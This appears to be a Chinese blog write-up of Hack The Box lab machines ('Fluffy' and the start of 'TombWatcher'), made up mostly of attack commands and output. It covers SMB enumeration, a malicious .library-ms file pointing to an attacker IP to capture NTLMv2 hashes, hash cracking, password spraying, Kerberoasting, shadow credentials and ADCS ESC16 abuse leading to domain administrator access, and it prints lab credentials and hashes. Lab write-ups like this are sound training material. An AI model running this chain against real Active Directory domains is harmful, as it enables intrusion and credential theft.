SMB         10.10.11.69     445    DC01             Guest                         &amp;lt;never&amp;gt;             0       Built-in account for guest access to the computer/domain      
SMB         10.10.11.69     445    DC01             krbtgt                        2025-04-17 16:00:02 0       Key Distribution Center Service Account                       
SMB         10.10.11.69     445    DC01             ca_svc   2025-04-17 16:07:50 1                                                                     
SMB         10.10.11.69     445    DC01             ldap_svc                     2025-04-17 16:17:00 0                                                                     
SMB         10.10.11.69     445    DC01             p.agila                      2025-04-18 14:37:08 0                                                                     
SMB         10.10.11.69     445    DC01             winrm_svc                    2025-05-18 00:51:16 0                                                                     
SMB         10.10.11.69     445    DC01             j.coffey                     2025-04-19 12:09:55 0                                                                     
SMB         10.10.11.69     445    DC01             j.fleischman             2025-05-16 14:46:55 0                                                                     
SMB         10.10.11.69     445    DC01             [*] Enumerated 9 local users: FLUFFY

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;收集用户名字 user.txt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Administrator
Guest
krbtgt
ca_svc
ldap_svc
p.agila
winrm_svc
j.coffey
j.fleischman
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续使用已知凭证枚举 SMB 共享目录，发现 &lt;code&gt;IT&lt;/code&gt; 目录，且当前用户对其具有读写权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.69 -u j.fleischman -p J0elTHEM4n1990! --shares
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [*] Enumerated shares
SMB         10.10.11.69     445    DC01             Share           Permissions     Remark                                                                                  
SMB         10.10.11.69     445    DC01             -----           -----------     ------                                                                                  
SMB         10.10.11.69     445    DC01             ADMIN$                          Remote Admin                                                                            
SMB         10.10.11.69     445    DC01             C$                              Default share                                                                           
SMB         10.10.11.69     445    DC01             IPC$            READ            Remote IPC                                                                              
SMB         10.10.11.69     445    DC01             IT              READ,WRITE      
SMB         10.10.11.69     445    DC01             NETLOGON        READ            Logon server share                                                                      
SMB         10.10.11.69     445    DC01             SYSVOL          READ            Logon server share 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用 NetExec (nxc) 的 &lt;code&gt;spider_plus&lt;/code&gt; 模块，自动下载所有可读共享目录中的文件，重点关注 &lt;code&gt;IT&lt;/code&gt; 目录。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.69 -u j.fleischman -p J0elTHEM4n1990! -M spider_plus -o DOWNLOAD_FLAG=True MAX_FILE_SIZE=10000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可能是网不好，拉不下来&lt;/p&gt;
&lt;p&gt;尝试手动&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -p 445 //10.10.11.69/IT -U j.fleischman --password=J0elTHEM4n1990!
recurse ON
prompt OFF
mget *
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拉下来keepass、everything、还有一个pdf，先关注pdf的内容 发现是升级笔记&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CVE-2025-24996   Critical
CVE-2025-24071   Critical
CVE-2025-46785   High
CVE-2025-29968   High
CVE-2025-21193   Medium
CVE-2025-3445    Low
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先去查看这个几个CVE
在审查这些 CVE 时，CVE-2025-24071 引起了我们的注意。这是一个存在于 Windows 文件资源管理器中的欺骗漏洞，允许攻击者通过上传特制的 .library-ms 压缩文件，在用户解压时自动解析并访问指定路径，从而可能泄露用户的 NTLMv2 哈希。考虑到 IT 共享目录对当前用户可写，此漏洞具备利用条件。
具体攻击&lt;/p&gt;
&lt;p&gt;构造恶意 .library-ms 文件与 Responder 监听
首先，在攻击机上启动 Responder 监听网络接口，以捕获 NTLMv2 哈希。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo responder -I tun0 -v
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，构造一个恶意的 &lt;code&gt;test.library-ms&lt;/code&gt; 文件，其内容指向我们的 Responder 监听地址。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;
&amp;lt;libraryDescription xmlns=&quot;http://schemas.microsoft.com/windows/2009/library&quot;&amp;gt;
  &amp;lt;searchConnectorDescriptionList&amp;gt;
    &amp;lt;searchConnectorDescription&amp;gt;
      &amp;lt;simpleLocation&amp;gt;
        &amp;lt;url&amp;gt;\\10.10.16.78\a&amp;lt;/url&amp;gt; &amp;lt;!-- 10.10.14.17 为攻击机 IP --&amp;gt;
      &amp;lt;/simpleLocation&amp;gt;
    &amp;lt;/searchConnectorDescription&amp;gt;
  &amp;lt;/searchConnectorDescriptionList&amp;gt;
&amp;lt;/libraryDescription&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将test.zip传上去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;smbclient -p 445 //10.10.11.69/IT -U j.fleischman --password=J0elTHEM4n1990!
put test.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;等待一段时间，当有用户访问该共享目录并尝试解压或预览此恶意压缩包时，Responder 成功捕获到了用户 &lt;code&gt;p.agila&lt;/code&gt; 的 NTLMv2 哈希。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[SMB] NTLMv2-SSP Client   : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : p.agila::FLUFFY:63f179410ab1be30:ED1DD42C7E8515FEE9BBBDD6A16E5F3B:010100000000000000EE4F957DDBDB010C50FCF13D55915F0000000002000800490042004E00320001001E00570049004E002D0057004600360046004800440053004200310047004A0004003400570049004E002D0057004600360046004800440053004200310047004A002E00490042004E0032002E004C004F00430041004C0003001400490042004E0032002E004C004F00430041004C0005001400490042004E0032002E004C004F00430041004C000700080000EE4F957DDBDB01060004000200000008003000300000000000000001000000002000000780754A3DD9CF5DB02F43354189FFB90007E63F3C6E04A4BD9CCA59EECD4A350A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00370038000000000000000000 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 Hashcat 和 &lt;code&gt;rockyou.txt&lt;/code&gt; 字典对捕获到的 NTLMv2 哈希进行破解。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;:prometheusx-303
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: P.AGILA::FLUFFY:63f179410ab1be30:ed1dd42c7e8515fee9...000000
Time.Started.....: Thu Jun 12 09:52:24 2025, (2 secs)
Time.Estimated...: Thu Jun 12 09:52:26 2025, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;找到密码prometheusx-303&lt;/p&gt;
&lt;p&gt;将新获取的密码 &lt;code&gt;prometheusx-303&lt;/code&gt; 连同初始凭证中的密码 &lt;code&gt;J0elTHEM4n1990!&lt;/code&gt; 一同加入密码本，对之前枚举到的域用户列表进行密码喷洒。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.69 -u users.txt -p passwords.txt --continue-on-success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无其他用户&lt;/p&gt;
&lt;p&gt;尝试Kerberoasting 与 AS-REP Roasting&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.69 -u p.agila -p prometheusx-303 --kerberoasting output_kerb.txt
nxc ldap 10.10.11.69 -u p.agila -p prometheusx-303 --asreproast output_asrep.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获取到 &lt;code&gt;ca_svc&lt;/code&gt;、&lt;code&gt;ldap_svc&lt;/code&gt; 和 &lt;code&gt;winrm_svc&lt;/code&gt; 三个账户的 TGS-REP 哈希。尝试使用 Hashcat 和 &lt;code&gt;rockyou.txt&lt;/code&gt; 字典破解这些哈希&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 13100 output_kerb.txt /usr/share/wordlists/rockyou.txt --force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此次破解未获得明文密码。&lt;/p&gt;
&lt;p&gt;BloodHound 分析：&lt;code&gt;p.agila&lt;/code&gt; 的权限
手动枚举遇到瓶颈后，使用 BloodHound 工具对域内权限关系进行深度分析。利用 &lt;code&gt;p.agila&lt;/code&gt; 的凭证收集域信息。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-ce-python -c all -d fluffy.htb -u &apos;p.agila&apos; -p &apos;prometheusx-303&apos; -ns 10.10.11.69 -dc dc01.fluffy.htb --zip
bloodhound-ce-python -u p.agila -p &apos;prometheusx-303&apos; -d fluffy.htb  -ns 10.10.11.69 -c all --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;收集到的数据导入 BloodHound Web 端进行分析。分析结果显示，用户 &lt;code&gt;p.agila&lt;/code&gt; 对 &lt;code&gt;Service Accounts&lt;/code&gt; 组拥有 &lt;code&gt;GenericAll&lt;/code&gt; 权限，这意味着 &lt;code&gt;p.agila&lt;/code&gt; 几乎可以对该组执行任何操作。
&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cd2a1fd66d0.webp&quot; alt=&quot;image-20250612192731354&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进一步分析发现，&lt;code&gt;Service Accounts&lt;/code&gt; 组对其组内成员 &lt;code&gt;ldap_svc&lt;/code&gt;、&lt;code&gt;ca_svc&lt;/code&gt; 和 &lt;code&gt;winrm_svc&lt;/code&gt; 拥有 &lt;code&gt;GenericWrite&lt;/code&gt; 权限。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cd2a6386e25.webp&quot; alt=&quot;image-20250612193022907&quot; /&gt;&lt;/p&gt;
&lt;p&gt;利用权限操纵组成员与影子凭证攻击
1、利用 p.agila 对 Service Accounts 组的 GenericAll 权限，将 p.agila 添加到该组中。
2、p.agila 成为 Service Accounts 组成员后，将继承该组对 ca_svc、ldap_svc、winrm_svc 的 GenericWrite 权限。
3、利用 GenericWrite 权限，可以对这些服务账户执行 Shadow Credentials (影子凭证) 攻击，修改其 msDS-KeyCredentialLink 属性，从而为这些账户添加新的密钥凭据，并获取其 NTLM 哈希。&lt;/p&gt;
&lt;p&gt;首先，将 &lt;code&gt;p.agila&lt;/code&gt; 添加到 &lt;code&gt;Service Accounts&lt;/code&gt; 组：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;net rpc group addmem &apos;Service Accounts&apos; p.agila -U fluffy.htb/p.agila%prometheusx-303 -S 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;bloodyAD --host &apos;10.10.11.69&apos; -d &apos;dc01.fluffy.htb&apos; -u &apos;p.agila&apos; -p &apos;prometheusx-303&apos; get object &apos;p.agila&apos; --attr memberOf
# 如果输出包含 CN=Service Accounts,CN=Users,DC=fluffy,DC=htb，说明该用户已经是该组的成员。
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，对 &lt;code&gt;ca_svc&lt;/code&gt;、&lt;code&gt;ldap_svc&lt;/code&gt; 和 &lt;code&gt;winrm_svc&lt;/code&gt; 执行影子凭证攻击：取其 NTLM 哈希&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad shadow auto -u &apos;p.agila@fluffy.htb&apos; -p prometheusx-303 -dc-ip &apos;10.10.11.69&apos; -account &apos;ca_svc&apos;
certipy-ad shadow auto -u &apos;p.agila@fluffy.htb&apos; -p prometheusx-303 -dc-ip &apos;10.10.11.69&apos; -account &apos;ldap_svc&apos;
certipy-ad shadow auto -u &apos;p.agila@fluffy.htb&apos; -p prometheusx-303 -dc-ip &apos;10.10.11.69&apos; -account &apos;winrm_svc&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[*] NT hash for &apos;ca_svc&apos;: ca0f4f9e9eb8a092addf53bb03fc98c8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试登录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;evil-winrm -i 10.10.11.69 -u &apos;ca_svc&apos; -H &apos;ca0f4f9e9eb8a092addf53bb03fc98c8&apos;（失败）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户 &lt;code&gt;ca_svc&lt;/code&gt; 的命名暗示其可能与 Active Directory 证书服务 (ADCS) 相关。利用其新获取的 NTLM 哈希，使用 Certipy 对 ADCS 进行漏洞枚举。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u &apos;ca_svc&apos; -hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -vulnerable -stdout  -text
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;存在ESC16https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation&lt;/p&gt;
&lt;p&gt;根据上述 Certipy Wiki 对 ESC16 的描述，利用此漏洞的一种方法是修改受控账户 (ca_svc) 的 userPrincipalName (UPN) 为目标高权限用户（例如 Administrator），然后使用该账户申请一个证书。
首先，利用 p.agila 的权限 (因为 p.agila 可以修改 Service Accounts 组成员的属性，而 ca_svc 是该组成员)，将 ca_svc 的 UPN 修改为 administrator。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account update -username p.agila@fluffy.htb -p prometheusx-303 -upn &apos;administrator&apos; -user &apos;ca_svc&apos; -dc-ip 10.10.11.69	
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请求证书
以 &lt;code&gt;ca_svc&lt;/code&gt; 的身份 (NTLM 哈希) 和伪造的 UPN (&lt;code&gt;administrator&lt;/code&gt;)，向证书颁发机构 &lt;code&gt;fluffy-DC01-CA&lt;/code&gt; 请求一个基于 “User” 模板的证书。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad -debug req -username ca_svc@fluffy.htb -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -ca fluffy-DC01-CA -template User -dc-ip 10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功获取到名为 &lt;code&gt;administrator.pfx&lt;/code&gt; 的证书文件。&lt;/p&gt;
&lt;p&gt;恢复 UPN 更改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad account -username p.agila@fluffy.htb -p prometheusx-303 -dc-ip 10.10.11.69 -upn &apos;ca_svc@fluffy.htb&apos; -user &apos;ca_svc&apos; update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;域控权限获取
使用证书获取管理员 NTLM 哈希
现在，使用先前获取的 &lt;code&gt;administrator.pfx&lt;/code&gt; 证书文件，以 &lt;code&gt;Administrator&lt;/code&gt; 的身份向域控制器进行认证，从而获取 &lt;code&gt;Administrator&lt;/code&gt; 账户的 NTLM 哈希。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad -debug auth -pfx administrator.pfx -username administrator -domain fluffy.htb -dc-ip 10.10.11.69
certipy-ad auth -dc-ip &apos;10.10.11.69&apos; -pfx &apos;administrator.pfx&apos; -username &apos;administrator&apos; -domain &apos;fluffy.htb&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;impacket-psexec -hashes :8da83a3fa618b6e3a00e93f676c92a6e Administrator@10.10.11.69
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Htb-TombWatcher</title><link>https://sinqwq.top/posts/htb-tombwatcher/</link><guid isPermaLink="true">https://sinqwq.top/posts/htb-tombwatcher/</guid><description>Htb-TombWatcher</description><pubDate>Wed, 02 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;先简单进行扫描&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./fscan -h 10.10.11.72
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;10.10.11.72:135 open
10.10.11.72:445 open
10.10.11.72:80 open
10.10.11.72:88 open
10.10.11.72:139 open
[*] alive ports len is: 5
start vulscan
[*] WebTitle http://10.10.11.72        code:200 len:703    title:IIS Windows Server
[*] NetInfo 
[*]10.10.11.72
   [-&amp;gt;]DC01
   [-&amp;gt;]10.10.11.72
   [-&amp;gt;]dead:beef::c8d4:87ff:a1d9:c4a3
已完成 5/5
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap 10.10.11.72 -p- --min-rate=5000 -A
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-11 12:16 HKT
Nmap scan report for 10.10.11.72
Host is up (0.42s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD-TCP: 
|     _services
|     _dns-sd
|     _udp
|_    local
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
3268/tcp  open  ldap
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&amp;lt;unsupported&amp;gt;, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  unknown
49683/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49684/tcp open  unknown
49685/tcp open  unknown
49704/tcp open  unknown
49729/tcp open  unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=6/11%Time=68490373%P=aarch64-unknown-linux-gnu%
SF:r(DNS-SD-TCP,30,&quot;\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-
SF:sd\x04_udp\x05local\0\0\x0c\0\x01&quot;);
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 3h59m52s
| smb2-time: 
|   date: 2025-06-11T08:20:17
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   247.11 ms 10.10.16.1
2   500.43 ms 10.10.11.72
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现开放&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;10.10.11.72:135 open
10.10.11.72:445 open
10.10.11.72:80 open
10.10.11.72:88 open
10.10.11.72:139 open
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据题目描述：As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!
我们首先对域内用户进行了枚举，成功获取了一份用户列表。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.72 -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos; --users
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! 
SMB         10.10.11.72     445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-
SMB         10.10.11.72     445    DC01             Administrator                 2025-04-25 14:56:03 0       Built-in account for administering the computer/domain
SMB         10.10.11.72     445    DC01             Guest                         &amp;lt;never&amp;gt;             0       Built-in account for guest access to the computer/domain
SMB         10.10.11.72     445    DC01             krbtgt                        2024-11-16 00:02:28 0       Key Distribution Center Service Account
SMB         10.10.11.72     445    DC01             Henry                         2025-05-12 15:17:03 0
SMB         10.10.11.72     445    DC01             Alfred                        2025-05-12 15:17:03 0
SMB         10.10.11.72     445    DC01             sam                           2025-05-12 15:17:03 0
SMB         10.10.11.72     445    DC01             john                          2025-05-19 13:25:10 0
SMB         10.10.11.72     445    DC01             [*] Enumerated 7 local users: TOMBWATCHER
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现7个用户 user.txt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Administrator
Guest
krbtgt
Henry
Alfred
sam
john
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试进行密码喷洒&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.72 -u users.txt -p &apos;H3nry_987TGV!&apos; --continue-on-success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无发现&lt;/p&gt;
&lt;p&gt;接着，对 SMB( 共享目录、Kerberoasting 及 AS-REP Roasting 等常见攻击向量进行了探测，但均未发现可直接利用的漏洞或配置缺陷。共享目录均为默认，且未找到存在 SPN 的服务账户或启用“禁用预认证“配置的用户。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc smb 10.10.11.72 -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos; --shares
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\henry:H3nry_987TGV! 
SMB         10.10.11.72     445    DC01             [*] Enumerated shares
SMB         10.10.11.72     445    DC01             Share           Permissions     Remark
SMB         10.10.11.72     445    DC01             -----           -----------     ------
SMB         10.10.11.72     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.72     445    DC01             C$                              Default share
SMB         10.10.11.72     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.72     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.72     445    DC01             SYSVOL          READ            Logon server share
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无特别发现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.72 -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos; --asreproast output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap 10.10.11.72 -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos; --kerberoasting output.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;均无&lt;/p&gt;
&lt;p&gt;考虑到 ADCS（Active Directory 证书服务）是常见的提权路径，我们检查了可用的证书模板，但结果显示当前环境中没有任何可用的模板。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;certipy-ad find -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos; -dc-ip 10.10.11.72 -vulnerable -enabled -text
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随后转向 Web 服务，发现 80 端口仅为 IIS 默认页面。目录爆破也未能发现任何隐藏或敏感的路径。手动枚举至此没有任何收获，需要更深入的分析。
我们借助 BloodHound 来可视化域内复杂的权限关系。使用 &lt;code&gt;henry&lt;/code&gt; 用户的凭证收集域信息，并将数据导入 BloodHound 进行分析。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-ce-python -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos; -d tombwatcher.htb -ns 10.10.11.72 -c all --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;BloodHound 显示 &lt;code&gt;henry&lt;/code&gt; 对用户 &lt;code&gt;alfred&lt;/code&gt; 拥有 &lt;strong&gt;WriteSPN&lt;/strong&gt; 权限。这允许我们为 &lt;code&gt;alfred&lt;/code&gt; 添加一个服务主体名称（SPN），使其成为一个可被 Kerberoasting 攻击的目标。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 targetedKerberoast.py -d &apos;tombwatcher.htb&apos; -u &apos;henry&apos; -p &apos;H3nry_987TGV!&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$ffff6845495e7d2b4d16e9285c7514b8$014d7562813eeabb8b01ef61f46d0110e0b5e27af13097e5454e7ba9bd7a980ff660b343683380912810447ecf661eed6c992bea7f3672517e19f97a5ba0565823c65972a686628d1c975e4d16f20006c0c88b9465d1b0c62a649eaa7b52da479d4025aeb3ac9713de2ca70ae4bd1abd2302afe813fd7e60d27b9f2882e8796d16c35fb8c107af4e7268e8564ef9fc662ee010521560e6d6e461d8df48a8af2b6d4117cf4d7ee522ef623457e93ce425c39a0e4ae5951d230cab86404b392fc4a90c39d3e1c93903f2e3bbb549a4c667a04496c0f5358559e9fe52b30be86291e1f9fd8db71c195a5c5c16ac37c6a28f9cc9f28bd79f7c20c59a9d1e2241a44a34619bc4927bec23703ef704fa422f8c860b8b534ff45f7f47845aa9b6dd07fbb847634af3b8dcc9d294278e413e713f0dd2e3b4fd778465db836e9c1c0b44fa59f9d062c0561d6658bb266b7cc83f5508fc31f6860085cc707dc7f7b638004cbf95b80974eb56bf1c0e60cc0b591656d2f7ccafdf52b61b37e2be6b17fb699709bfe8524a31b85cd7a6bb346aae696a57d8c378ec88aa28ed846e2f20d3b46fff7c2b496d922397a1903f67b3c1dd4962bb3bee76c0048ac1781e13d47b9d3e4b7fd67b9b9e67f5ceeb078c33dfa486fac7e12f08b0a7399bd34e3601906764a1fe7586fe1e834bb3ff4d8726e05814d036042fd3e11678fd14fbbf0d661463e813f0991b0be340ec443186e7dbf6f6c46d45b2bb93e98026d6c6dea9b6af36d064c4d5c1a5935fb32ab2762e30324ac0de24655aaacc658a2a0be95828e6eee618b4ff70c9bf08f98032136cad6d13f181254528f636b92fb3f508fa963a18d4f465934489a2f6a2600741be893f2a5963a2ba991a93e97e12d383f5398af784a396b364ea18807a1aa393b6bef9f60e5865201a12c8b5d5b11133d8b1a07576b4ef9f14cc707da3bfb5c681c26634c5a7f9dd71ec21aefbd9f2c75ecbbf4b98e790ce53e76b8a1b9c854fb2da1ea26d289e2068a1fb58c4e4ff6802c157f6acfca936ed170d5b7e0b24ed0c774434d0e1079fac39f0a07902f1348